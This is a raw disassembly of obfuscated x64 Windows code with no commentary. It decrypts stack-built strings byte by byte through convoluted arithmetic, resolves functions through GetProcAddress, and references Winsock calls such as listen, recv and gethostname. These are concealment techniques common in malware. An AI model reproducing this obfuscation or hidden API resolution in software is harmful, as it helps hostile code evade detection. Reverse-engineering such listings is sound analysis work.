cmp rbx, rax
ja 0x14006211c
lea rcx, [r8 + 6]
cmp rbx, rcx
ja 0x140062101
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x140061f00
mov rbx, rcx
lea r8, [rcx + 0x28]
jmp 0x140061f00
lea ecx, [r9 - 5]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x23
jmp 0x140061ef0
lea ecx, [r9 + 0x59]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6f
jmp 0x140061e90
sub r9b, 0x49
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
dec dil
jmp 0x140061e20
lea ecx, [r9 + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x18
jmp 0x1400627bd
sub r9b, 0x7a
movzx eax, r9b
and al, r10b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140061e03
sub r9b, 0x1c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3c
dec r11
inc r11
jmp 0x140061e03
lea edx, [r9 + 0x42]
movzx eax, dl
and al, r10b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006282d
sub r9b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x60
jmp 0x140062868
sub r9b, 2
movzx eax, r9b
and al, r10b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006286b
lea edx, [r9 + 0x5c]
movzx eax, dl
and al, r10b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006289a
sub r9b, 0x46
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x16
jmp 0x1400628c7
add r9b, 0x18
movzx eax, r9b
and al, r10b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x240]
add rax, r8
add r11, rax
inc r11
jmp 0x140061e03
sub r9b, 0x7d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x6b
mov byte [rbp + r11 + 0x240], dil
inc r11
jmp 0x140061e03
lea ecx, [r9 - 0x1f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x27
cmp r8, 0x41
jb 0x14006224a
lea edx, [r9 + 0x46]
movzx eax, r10b
and al, dl
mov ecx, listen
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x1400627bd
lea ecx, [r9 + 0x3f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x47
cmp rbx, 0x61
jae 0x140062708
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jbe 0x140062626
lea edx, [r9 - 0xe]
movzx eax, r10b
and al, dl
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x140062270
lea ecx, [r9 - 0x63]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4b
lea rax, [r8 + rbx]
cmp rax, 0x10
je 0x140062727
lea rax, [r8 + 0x80]
cmp rbx, rax
jbe 0x140062564
lea edx, [r9 + 0x4d]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x1b
add dil, dl
jmp 0x1400622ac
sub r9b, 0x22
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x12
movzx eax, byte [rbp + r11 + 0x240]
add rax, r8
add r11, rax
inc r11
jmp 0x140061e03
add r9b, 0x3c
movzx eax, r9b
and al, r10b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400628c7
lea ecx, [r9 - 0x66]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x36
jmp 0x14006289a
sub r9b, 8
movzx eax, r9b
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006286b
add r9b, 0x56
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x5a
jmp 0x140062868
lea edx, [r9 - 0x4c]
movzx eax, dl
and al, r10b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006282d
add r9b, 0x12
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7e
dec r11
inc r11
jmp 0x140061e03
add r9b, 0x70
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x10
inc r8
dec r11
inc r11
jmp 0x140061e03
lea edx, [r9 - 0x32]
movzx eax, dl
and al, r10b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400627bd
lea rax, [r8 + 0x20]
cmp rbx, rax
jae 0x140062487
lea ecx, [r9 + 0x51]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x37
jmp 0x1400622f8
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400624bf
add r9b, 0x4a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 6
movzx eax, byte [rbp + r11 + 0x240]
add rax, r8
add r11, rax
inc r11
jmp 0x140061e03
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400624e8
sub r9b, 0x2e
movzx eax, r9b
and al, r10b
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140062868
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14006250c
lea ecx, [r9 + 0x74]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2c
jmp 0x14006282d
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006253b
sub r9b, 0x48
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 8
inc r8
dec r11
inc r11
jmp 0x140061e03
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x1400622f8
lea edx, [r9 + 0x5a]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x76
jmp 0x1400627ba
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140062589
lea edx, [r9 - 0x11]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x77
jmp 0x1400627ba
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400625ae
lea edx, [r9 - 0x2b]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x2d
jmp 0x14006282a
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400625d4
add r9b, 0x77
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x41
jmp 0x140062868
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400625fa
add r9b, 0x19
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x51
jmp 0x14006286b
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400622ac
lea edx, [r9 - 0x45]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x1d
add dil, dl
jmp 0x14006289a
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006265e
sub r9b, 0x6c
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0xc
movzx eax, byte [rbp + r11 + 0x240]
add rax, r8
add r11, rax
inc r11
jmp 0x140061e03
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140062686
lea edx, [r9 - 0x28]
movzx eax, r10b
and al, dl
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14006289a
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400626ac
add r9b, 0x7a
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x56
jmp 0x14006286b
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400626d5
add r9b, 0x1c
movzx eax, r10b
and al, r9b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x140062868
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140062270
add r9b, 0x60
movzx eax, r10b
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
dec r11
inc r11
jmp 0x140061e03
lea edx, [r9 - 0x18]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x58
add dil, r10b
jmp 0x14006282a
lea edx, [r9 - 0x76]
movzx eax, r10b
and al, dl
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14006289a
sub r9b, 0x4b
movzx eax, r10b
and al, r9b
add al, al
movzx edi, r10b
sub dil, al
add dil, 0xd
add dil, r9b
jmp 0x1400628c7
sub r9b, 0x31
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x57
jmp 0x140062868
sub r9b, 0x75
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x33
dec r11
inc r11
jmp 0x140061e03
lea edx, [r9 + 0x47]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0xf
add dil, dl
sub r9b, 0x69
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x21
add r9b, r10b
mov byte [rbp + r11 + 0x240], r9b
inc r8
dec r11
inc r11
jmp 0x140061e03
lea ecx, [r11 + 0x61]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
add dil, 0x59
inc r8
dec r11
inc r11
jmp 0x140061e03
movzx r9d, r11b
lea edx, [r9 + 0x1d]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x35
add dil, dl
add r9b, 0x39
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x71
add r9b, r10b
add r9b, dil
mov byte [rbp + r11 + 0x240], r9b
jmp 0x140062868
lea ecx, [r11 + 0x7b]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x5d
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140061e03
lea rax, [r11 + r13]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
add dil, 0x7f
movzx r9d, r11b
sub r9b, 0x25
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
add cl, 3
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x240], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 + 0x2c]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x34
add r10b, cl
mov byte [rbp + r11 + 0x240], r10b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x240]
add rax, r8
add r11, rax
inc r11
jmp 0x140061e03
lea rax, [r11 + r12]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
add dil, 0x5b
movzx eax, byte [rbp + r11 + 0x240]
add rax, r8
add r11, rax
inc r11
jmp 0x140061e03
add r9b, 0x15
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x6d
jmp 0x140061e00
add r9b, 0x73
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x25
jmp 0x140061de4
lea rdx, [rbp + 0x14d40ac]
jmp 0x140062988
lea rdx, [rbp + 0xb406fd]
jmp 0x140062988
lea rdx, [rbp + 0x240]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x68], rax
mov byte [rbp + 0x40], 0xd0
mov byte [rbp + 0x41], 0xf0
mov byte [rbp + 0x42], 0xf0
mov byte [rbp + 0x43], 0xc0
mov byte [rbp + 0x44], 0xf1
mov byte [rbp + 0x45], 0xfb
mov byte [rbp + 0x46], 0xfa
mov byte [rbp + 0x47], 0xf4
mov byte [rbp + 0x48], 0xef
mov byte [rbp + 0x49], 0xd5
mov byte [rbp + 0x4a], 0xec
mov byte [rbp + 0x4b], 0xf0
mov byte [rbp + 0x4c], 0xff
mov byte [rbp + 0x4d], 0x20
mov byte [rbp + 0x4e], 0x5e
xor eax, eax
mov word [rbp + 0x4f], ax
mov byte [rbp + 0x51], al
movzx edi, byte [rbp + 0x410]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x12
jae 0x1400634c3
movzx r10d, byte [rbp + r11 + 0x40]
mov esi, r10d
nop dword [rax + rax]
cmp rbx, r11
ja 0x1400634ba
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140062a3f
lea rcx, [r11 + 0x13352]
mov rax, rcx
and rax, rsi
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rsi
sub dil, 0x3e
jmp 0x140062a6c
je 0x140063445
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400633be
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140063388
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140063363
movzx r9d, r11b
cmp r8, r11
ja 0x1400634b1
lea rax, [r8 + 6]
cmp rbx, rax
jae 0x140062a9a
lea ecx, [r9 - 0x46]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x16
jmp 0x140062ad0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14006331c
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400632e0
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400632c3
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400632a3
nop
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140062fee
nop dword [rax]
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x140062fe0
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x140062fba
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x140062f94
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140062f79
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140062f5c
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140062f3f
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140062f23
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140062f06
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140062ee9
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140062ae0
lea rbx, [r8 + 0x41]
lea r8, [rbx + 0x7a]
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x140063491
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x140063474
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x140062cc8
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x140062cad
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x140062c8e
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x140062e9f
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x140062e4f
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x140062e15
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x140062ded
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x140062ae0
lea rbx, [r8 + 2]
lea r8, [rbx + 1]
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x140062dd0
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x140062db3
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x140062d97
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x140062d7a
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140062d5d
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x140062d42
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x140062d1c
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x140062cf6
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x140062ce8
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x140062ae0
lea rbx, [r8 + 6]
lea r8, [rbx + 5]
jmp 0x140062ae0
lea edx, [r9 - 0x7a]
movzx eax, dl
and al, r10b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140062ad0
lea ecx, [r9 - 0x1e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2e
jmp 0x140062a70
add r9b, 0x3e
movzx eax, r9b
and al, r10b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140062a10
lea edx, [r9 - 0x30]
mov ecx, 0x28
jmp 0x140063325
add r9b, 0x2c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x34
inc r8
dec r11
inc r11
jmp 0x1400629f5
sub r9b, 0x78
movzx eax, r9b
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x1400629f5
lea ecx, [r9 - 0x1c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3c
jmp 0x1400632f6
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14006339f
sub r9b, 0x64
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x44
jmp 0x1400633a5
lea edx, [r9 - 8]
movzx eax, dl
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x1400633da
add r9b, 0x54
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4c
jmp 0x140063408
sub r9b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14006345d
add r9b, 0x16
movzx eax, r9b
and al, r10b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
mov byte [rbp + r11 + 0x40], dil
inc r11
jmp 0x1400629f5
lea ecx, [r9 + 0x72]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1e
cmp r8, 0x2a
jb 0x140062e08
lea ecx, [r9 - 0x54]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 0x68]
jmp 0x140063336
lea edx, [r9 - 0x32]
movzx eax, dl
and al, r10b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp rbx, 0x61
jae 0x140063268
lea rax, [r8 + 0x1000]
cmp rbx, rax
jbe 0x14006315f
lea edx, [r9 + 0x44]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140062e2b
lea ecx, [r9 + 0x2a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x26
lea rax, [r8 + rbx]
cmp rax, 0x200
je 0x140063287
lea rax, [r8 + 0x80]
cmp rbx, rax
jbe 0x1400630be
lea edx, [r9 - 0x76]
movzx eax, dl
and al, r10b
mov ecx, 0x1d
jmp 0x140062e5e
add r9b, 0x5c
movzx eax, r9b
and al, r10b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14006345d
sub r9b, 0x48
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 8
jmp 0x140063408
lea edx, [r9 + 0x14]
movzx eax, dl
and al, r10b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x1400633da
add r9b, 0x70
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x10
jmp 0x1400633a5
sub r9b, 0x34
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14006339f
lea ecx, [r9 + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x18
jmp 0x1400632f6
sub r9b, 0x7c
movzx eax, r9b
and al, r10b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x1400629f5
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
inc r8
dec r11
inc r11
jmp 0x1400629f5
lea edx, [r9 + 0x3c]
mov ecx, 0x2e
jmp 0x140063325
lea rax, [r8 + 0x20]
cmp rbx, rax
jae 0x140063012
lea ecx, [r9 + 0x52]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3e
jmp 0x140062eb5
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140063047
add r9b, 0x74
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2c
movzx eax, byte [rbp + r11 + 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x1400629f5
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140063070
add r9b, 0x18
movzx eax, r9b
and al, r10b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140063408
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140063096
add r9b, 4
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1c
jmp 0x1400633a2
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x140062eb5
lea ecx, [r9 - 0x6c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xc
jmp 0x140063336
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400630e2
lea ecx, [r9 + 0x2e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x42
jmp 0x140063336
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006310e
add r9b, 0x76
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3a
dec r11
inc r11
jmp 0x1400629f5
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140063137
add r9b, 0x62
movzx eax, r9b
and al, r10b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400633a5
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140062e69
lea ecx, [r9 + 6]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2a
jmp 0x1400633dd
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140063194
sub r9b, 0x18
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x58
movzx eax, byte [rbp + r11 + 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x1400629f5
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400631ba
add r9b, 0x78
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x48
jmp 0x1400633a2
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400631e2
lea edx, [r9 + 0x1c]
movzx eax, dl
and al, r10b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400632f6
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14006320e
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
dec r11
inc r11
jmp 0x1400629f5
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140063240
add r9b, 0x64
movzx eax, r9b
and al, r10b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x1400629f5
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140062e2b
lea ecx, [r9 + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x38
jmp 0x140063336
lea edx, [r9 + 0x50]
movzx eax, dl
and al, r10b
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x30
add dil, dl
add dil, r10b
jmp 0x1400632f6
lea edx, [r9 - 0xc]
movzx eax, dl
and al, r10b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x1400633dd
sub r9b, 0x6e
movzx eax, r9b
and al, r10b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400633a5
sub r9b, 0x12
movzx eax, r9b
and al, r10b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14006339f
lea ecx, [r9 + 0x4a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 6
sub r9b, 0x5e
movzx eax, r9b
and al, r10b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x6e
add cl, r9b
add cl, r10b
mov byte [rbp + r11 + 0x40], cl
jmp 0x1400633a2
lea edx, [r9 + 0x5e]
mov ecx, gethostname
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
sub r9b, 2
movzx eax, r9b
and al, r10b
mov ecx, 7
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
mov byte [rbp + r11 + 0x40], cl
inc r8
dec r11
inc r11
jmp 0x1400629f5
lea edx, [r11 - 0x32]
movzx eax, dl
and al, r10b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x1400629f5
lea edx, [r11 - 0x7a]
movzx eax, dl
and al, r10b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400629f5
lea rax, [r11 + 0x8673e]
and sil, al
mov ecx, 0x27
sub cl, sil
lea edi, [rcx + rcx]
add dil, al
movzx r9d, r11b
add dil, r10b
add r9b, 0x46
movzx eax, r9b
and al, r10b
mov ecx, listen
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0x40], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x28
add cl, r10b
mov byte [rbp + r11 + 0x40], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x1400629f5
lea rax, [r11 + 0x399f6]
and sil, al
mov ecx, 0x23
sub cl, sil
lea edi, [rcx + rcx]
add dil, al
add dil, r10b
movzx eax, byte [rbp + r11 + 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x1400629f5
sub r9b, 0x66
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x36
jmp 0x1400629f2
sub r9b, 0xa
movzx eax, r9b
and al, r10b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400629e2
lea rdx, [rbp + 0x14e7b58]
jmp 0x1400634c7
lea rdx, [rbp + 0x10faeaa]
jmp 0x1400634c7
lea rdx, [rbp + 0x40]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x70], rax
mov byte [rbp + 0x60], 0x93
mov byte [rbp + 0x61], 0xc3
mov byte [rbp + 0x62], 0xcf
mov byte [rbp + 0x63], 0xac
mov byte [rbp + 0x64], 0xde
mov byte [rbp + 0x65], 0xd2
mov byte [rbp + 0x66], 0xa1
mov byte [rbp + 0x67], 0xd0
mov byte [rbp + 0x68], 0xdc
mov byte [rbp + 0x69], 0xa9
mov byte [rbp + 0x6a], 0xdd
mov byte [rbp + 0x6b], 0xca
mov byte [rbp + 0x6c], 0xb9
mov byte [rbp + 0x6d], 0xc9
